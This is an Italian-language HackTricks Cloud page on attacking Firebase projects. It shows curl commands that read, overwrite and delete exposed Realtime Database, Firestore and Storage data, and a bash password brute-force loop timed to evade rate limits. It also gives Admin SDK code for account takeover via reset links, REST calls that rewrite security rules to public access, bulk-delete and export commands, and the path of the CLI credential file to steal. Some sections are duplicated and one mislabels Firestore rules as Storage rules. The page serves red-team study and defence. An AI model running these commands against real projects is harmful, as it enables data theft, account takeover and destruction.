GCP - Firebase Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Firebase
Accesso non autenticato a Firebase Realtime Database
Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. Ă sufficiente che ci sia una configurazione vulnerabile nelle regole di sicurezza di Firebase Realtime Database, dove le regole sono impostate con .read: true o .write: true, permettendo accesso pubblico in lettura o scrittura.
Lâattaccante deve identificare lâURL del database, che solitamente ha il formato: https://<project-id>.firebaseio.com/.
Questa URL può essere trovata tramite reverse engineering di applicazioni mobili (decompilazione degli APK Android o analisi delle app iOS), analizzando file di configurazione come google-services.json (Android) o GoogleService-Info.plist (iOS), ispezionando il codice sorgente di applicazioni web, o esaminando il traffico di rete per identificare richieste verso domini *.firebaseio.com.
Lâattaccante individua lâURL del database e verifica se è esposto pubblicamente, quindi accede ai dati e potenzialmente scrive informazioni dannose.
Per prima cosa, verificano se il database consente lâaccesso in lettura aggiungendo .json allâURL.
curl https://<project-id>-default-rtdb.firebaseio.com/.json
Se la risposta contiene dati JSON o null (invece di âPermission Deniedâ), il database consente lâaccesso in lettura. Per verificare lâaccesso in scrittura, lâattaccante può tentare di inviare una richiesta di scrittura di prova usando la Firebase REST API.
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
Se lâoperazione ha successo, il database consente anche lâaccesso in scrittura.
Esposizione dei dati in Cloud Firestore
Un attaccante non ha bisogno di permessi Firebase specifici per eseguire questo attacco. Richiede solo che ci sia una configurazione vulnerabile nelle regole di sicurezza di Cloud Firestore in cui le regole consentono accesso in lettura o scrittura senza autenticazione o con validazione insufficiente. Un esempio di regola mal configurata che concede accesso completo è:
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
Questa regola permette a chiunque di leggere e scrivere tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e si applicano per collection e document, quindi un errore in una regola specifica può esporre solo certe collection.
Lâattaccante deve identificare il Firebase Project ID, che può essere trovato tramite reverse engineering dellâapp mobile, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web, o analisi del traffico di rete per identificare richieste a firestore.googleapis.com. La Firestore REST API usa il formato:
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
Se le regole permettono lâaccesso di lettura non autenticato, lâattaccante può leggere collezioni e documenti. Per prima cosa, tenta di accedere a una specifica collezione:
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
Se la risposta contiene documenti JSON invece di un errore di autorizzazione, la collection è esposta. Lâattaccante può enumerare tutte le collection accessibili provando nomi comuni o analizzando la struttura dellâapplicazione. Per accedere a un documento specifico:
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
Se le regole consentono lâaccesso in scrittura non autenticato o presentano una validazione insufficiente, lâattaccante può creare nuovi documenti:
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
Per modificare un documento esistente si deve utilizzare PATCH:
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
Per eliminare un documento e causare denial of service:
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
Esposizione di file in Firebase Storage
Un attacker non ha bisogno di permessi specifici di Firebase per eseguire questo attacco. Ă sufficiente che esista una configurazione vulnerabile nelle Firebase Storage security rules in cui le regole permettono accesso in read o write senza autenticazione o con validazione insufficiente. Le Storage rules controllano i permessi di read e write indipendentemente, quindi un errore in una regola può esporre solo lâaccesso in read, solo lâaccesso in write, o entrambi. Un esempio di regola mal configurata che concede full access è:
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
Questa regola consente lâaccesso in lettura e scrittura a tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e vengono applicate per collezione e per documento, quindi un errore in una regola specifica può esporre solo determinate collezioni. Lâattaccante deve identificare il Firebase Project ID, che può essere trovato tramite il reverse engineering dellâapplicazione mobile, lâanalisi di file di configurazione come google-services.json o GoogleService-Info.plist, lâispezione del codice sorgente dellâapplicazione web o lâanalisi del traffico di rete per individuare richieste a firestore.googleapis.com.
La Firestore REST API usa il formato: https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.
Se le regole permettono lâaccesso in lettura senza autenticazione, lâattaccante può leggere collezioni e documenti. Per prima cosa tenta di accedere a una collezione specifica.
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
Se la risposta contiene lâelenco dei file invece di un errore di permessi, il file è esposto. Lâattaccante può visualizzare il contenuto dei file specificandone il percorso:
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
Se le regole consentono unauthenticated write access o presentano una validazione insufficiente, lâattacker può upload malicious files. Per upload di un file tramite la REST API:
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
Lâattaccante può caricare code shells, malware payloads o file di grandi dimensioni per causare un denial of service. Se lâapplicazione elabora o esegue i file caricati, lâattaccante può ottenere remote code execution. Per cancellare file e causare un denial of service:
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
Invocazione di Firebase Cloud Functions pubbliche
Un attaccante non ha bisogno di permessi Firebase specifici per sfruttare questo problema; è sufficiente che una Cloud Function sia accessibile pubblicamente via HTTP senza autenticazione.
Una funzione è vulnerabile quando è configurata in modo insicuro:
- Usa
functions.https.onRequest, che non applica lâautenticazione (a differenza delle funzionionCall). - Il codice della funzione non valida lâautenticazione dellâutente (es. nessun controllo su
request.authocontext.auth). - La funzione è pubblicamente accessibile in IAM, ovvero
allUsersha il ruoloroles/cloudfunctions.invoker. Questo è il comportamento predefinito per le funzioni HTTP a meno che lo sviluppatore non restringa lâaccesso.
Le Firebase HTTP Cloud Functions vengono esposte tramite URL come:
https://<region>-<project-id>.cloudfunctions.net/<function-name>https://<project-id>.web.app/<function-name>(quando integrate con Firebase Hosting)
Un attaccante può scoprire questi URL tramite analisi del codice sorgente, ispezione del traffico di rete, strumenti di enumerazione o reverse engineering di app mobile. Se la funzione è esposta pubblicamente e senza autenticazione, lâattaccante può invocarla direttamente senza credenziali.
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
Se la funzione non valida correttamente gli input, lâattaccante può tentare altri attacchi come code injection o command injection.
Brute-force attack contro Firebase Authentication con una politica di password debole
Un attaccante non ha bisogno di permessi specifici su Firebase per eseguire questo attacco. Richiede solamente che la Firebase API Key sia esposta in applicazioni mobile o web, e che la password policy non sia stata configurata con requisiti piĂš stringenti rispetto ai valori di default.
Lâattaccante deve identificare la Firebase API Key, che può essere trovata tramite mobile app reverse engineering, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente di applicazioni web (es. in bootstrap.js), o analizzando il traffico di rete.
La REST API di Firebase Authentication utilizza lâendpoint:
https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>
per autenticare con email e password.
Se Email Enumeration Protection è disabilitato, le risposte di errore dellâAPI possono rivelare se unâemail esiste nel sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), il che permette agli attacker di enumerate users prima di tentare il password guessing. Quando questa protection è abilitata, lâAPI restituisce lo stesso messaggio di errore sia per email inesistenti sia per password errate, impedendo la user enumeration.
à importante notare che Firebase Authentication applica rate limiting, che può bloccare le richieste se si verificano troppi tentativi di autenticazione in un breve periodo. Per questo motivo, un attaccante dovrebbe introdurre dei ritardi tra i tentativi per evitare di essere rate-limited.
Lâattaccante identifica la API Key ed effettua tentativi di autenticazione con piĂš password contro account noti. Se Email Enumeration Protection è disabilitato, lâattaccante può enumerate existing users analizzando le risposte di errore:
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
Se la risposta contiene EMAIL_NOT_FOUND, lâemail non esiste nel sistema. Se contiene INVALID_PASSWORD, lâemail esiste ma la password è errata, confermando che lâutente è registrato. Una volta identificato un utente valido, lâattaccante può eseguire tentativi di brute-force. Ă importante inserire delle pause tra i tentativi per evitare i meccanismi di rate-limiting di Firebase Authentication:
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseĂąa '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "ContraseĂąa encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
Con la policy di password predefinita (minimo 6 caratteri, senza requisiti di complessitĂ ), lâattaccante può provare tutte le possibili combinazioni di password di 6 caratteri, il che rappresenta uno spazio di ricerca relativamente piccolo rispetto a policy di password piĂš severe.
Gestione utenti in Firebase Authentication
Lâattaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:
firebaseauth.users.createper creare utentifirebaseauth.users.updateper modificare utenti esistentifirebaseauth.users.deleteper eliminare utentifirebaseauth.users.getper recuperare informazioni sugli utentifirebaseauth.users.sendEmailper inviare email agli utentifirebaseauth.users.createSessionper creare sessioni utente
Questi permessi sono inclusi nel ruolo roles/firebaseauth.admin, che concede accesso in lettura/scrittura completo alle risorse di Firebase Authentication. Sono inoltre inclusi in ruoli di livello superiore come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase).
Per usare il Firebase Admin SDK, lâattaccante avrebbe bisogno dellâaccesso alle credenziali del service account (file JSON), che potrebbero essere reperite su sistemi compromessi, repository di codice esposti pubblicamente, sistemi CI/CD compromessi o tramite la compromissione di account sviluppatore che hanno accesso a queste credenziali.
Il primo passo è configurare il Firebase Admin SDK usando le credenziali del service account.
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
Per creare un utente malevolo utilizzando lâemail di una vittima, lâattaccante cercherebbe di usare il Firebase Admin SDK per generare un nuovo account con quellâemail.
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
Per modificare un utente esistente, lâattaccante aggiornerebbe campi come lâindirizzo email, lo stato di verifica o se lâaccount è disabilitato.
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
Per eliminare un account utente e causare un denial of service, lâattaccante invierebbe una richiesta per rimuovere completamente lâutente.
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
Lâattaccante può anche ottenere informazioni sugli utenti esistenti richiedendo il loro UID o indirizzo email.
user = auth.get_user(uid)
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
Inoltre, lâattacker potrebbe generare verification links o password-reset links per cambiare la password di un user e ottenere lâaccesso al suo account.
link = auth.generate_email_verification_link(email)
print(f'Link de verificaciĂłn: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
Gestione degli utenti in Firebase Authentication
Un attaccante necessita di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono:
firebaseauth.users.createto create usersfirebaseauth.users.updateto modify existing usersfirebaseauth.users.deleteto delete usersfirebaseauth.users.getto obtain user informationfirebaseauth.users.sendEmailto send emails to usersfirebaseauth.users.createSessionto create user sessions
Questi permessi sono inclusi nel ruolo roles/firebaseauth.admin, che garantisce accesso completo in lettura/scrittura alle risorse di Firebase Authentication. Fanno anche parte di ruoli piĂš alti come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase).
Per usare il Firebase Admin SDK, lâattaccante avrebbe bisogno di accesso alle credenziali dellâaccount di servizio (un file JSON), che potrebbero essere ottenute da sistemi compromessi, repository di codice pubblicamente esposti, ambienti CI/CD compromessi, o tramite la compromissione di account di sviluppatori che hanno accesso a queste credenziali.
Il primo passo è configurare il Firebase Admin SDK usando le credenziali dellâaccount di servizio.
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
Per creare un account utente malevolo usando lâemail della vittima, lâattaccante tenterebbe di creare un nuovo account con quellâemail, assegnando una password controllata dallâattaccante e le informazioni del profilo.
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
Per modificare un utente esistente, lâattaccante cambierebbe campi come lâindirizzo email, lo stato di verifica o se lâaccount è disabilitato.
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
Per eliminare un account utenteâcausando di fatto un denial of serviceâlâattaccante invierebbe una richiesta per rimuovere definitivamente quellâutente.
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
Lâattaccante potrebbe anche recuperare informazioni sugli utenti esistenti, come il loro UID o email, richiedendo i dettagli dellâutente sia tramite UID che tramite indirizzo email.
user = auth.get_user(uid)
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
Inoltre, lâattaccante potrebbe generare link di verifica o link per il password-reset, permettendogli di cambiare la password di un utente e prendere il controllo dellâaccount.
link = auth.generate_email_verification_link(email)
print(f'Link de verificaciĂłn: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
Modifica delle regole di sicurezza nei servizi Firebase
Lâattaccante necessita di permessi specifici per modificare le regole di sicurezza a seconda del servizio. Per Cloud Firestore e Firebase Cloud Storage, i permessi richiesti sono firebaserules.rulesets.create per creare ruleset e firebaserules.releases.create per distribuire release. Questi permessi sono inclusi nel ruolo roles/firebaserules.admin o in ruoli di livello superiore come roles/firebase.developAdmin e roles/firebase.admin. Per Firebase Realtime Database, il permesso richiesto è firebasedatabase.instances.update.
Lâattaccante deve usare la Firebase REST API per modificare le regole di sicurezza. Prima, lâattaccante dovrebbe ottenere un token di accesso usando le credenziali dellâaccount di servizio. Per ottenere il token:
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
Per modificare le regole di Firebase Realtime Database:
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
Per modificare le Cloud Firestore rules, lâattacker deve creare un ruleset e poi eseguire il deploy:
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
Il comando precedente restituisce un nome di ruleset nel formato projects/
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
Per modificare le regole di Firebase Cloud Storage:
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
Il comando precedente restituisce un nome di ruleset nel formato projects/
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
Esfiltrazione e manipolazione dei dati in Cloud Firestore
Cloud Firestore usa la stessa infrastruttura e sistema di permessi di Cloud Datastore, quindi i permessi IAM di Datastore si applicano direttamente a Firestore. Per manipolare le TTL policy è richiesto il permesso datastore.indexes.update. Per esportare i dati è richiesto il permesso datastore.databases.export. Per importare i dati, è richiesto il permesso datastore.databases.import. Per eseguire la cancellazione di massa dei dati è richiesto il permesso datastore.databases.bulkDelete.
Per le operazioni di backup e restore sono necessari permessi specifici:
datastore.backups.getedatastore.backups.listper elencare e recuperare i dettagli dei backup disponibilidatastore.backups.deleteper eliminare i backupdatastore.backups.restoreDatabaseper ripristinare un database da un backupdatastore.backupSchedules.createedatastore.backupSchedules.deleteper gestire le schedulazioni di backup
Quando viene creata una TTL policy, viene selezionata una proprietĂ designata per identificare le entitĂ idonee alla cancellazione. Questa proprietĂ TTL deve essere di tipo Date and time. Lâattaccante può scegliere una proprietĂ giĂ esistente o designarne una che intende aggiungere in seguito. Se il valore del campo è una data nel passato, il documento diventa idoneo alla cancellazione immediata. Lâattaccante può usare la gcloud CLI per manipolare le TTL policy.
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
Per esportare dati e esfiltrarli, lâattaccante potrebbe usare gcloud CLI.
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
Per importare dati dannosi:
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
Per eseguire lâeliminazione massiva di dati e causare una denial of service, lâattaccante potrebbe usare lo strumento gcloud Firestore bulk-delete per rimuovere intere collections.
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
Per le operazioni di backup e ripristino, lâattaccante potrebbe creare backup pianificati per catturare lo stato attuale del database, elencare i backup esistenti, ripristinare da un backup per sovrascrivere le modifiche recenti, eliminare backup per causare perdita permanente di dati e rimuovere backup pianificati. Per creare una pianificazione di backup giornaliera che generi immediatamente un backup:
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
Per ripristinare da uno specifico backup, lâattaccante potrebbe creare un nuovo database usando i dati contenuti in quel backup. Lâoperazione di ripristino scrive i dati del backup in un nuovo database, il che significa che non si può usare un DATABASE_ID esistente.
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
Per eliminare un backup e causare la perdita permanente dei dati:
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
Furto e uso improprio delle credenziali Firebase CLI
Un attacker non necessita di permessi specifici su Firebase per eseguire questo attacco, ma deve avere accesso al sistema locale dello sviluppatore o al file delle credenziali di Firebase CLI. Queste credenziali sono memorizzate in un file JSON situato in:
-
Linux/macOS: ~/.config/configstore/firebase-tools.json
-
Windows: C:\Users[User].config\configstore\firebase-tools.json
Questo file contiene token di autenticazione, inclusi refresh_token e access_token, che permettono allâattacker di autenticarsi come lâutente che ha eseguito originariamente firebase login.
Lâattacker ottiene lâaccesso al file delle credenziali di Firebase CLI. Può quindi copiare lâintero file nel proprio sistema, e la Firebase CLI utilizzerĂ automaticamente le credenziali dalla sua posizione predefinita. Dopo averlo fatto, lâattacker può visualizzare tutti i progetti Firebase accessibili a quellâutente.
firebase projects:list
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

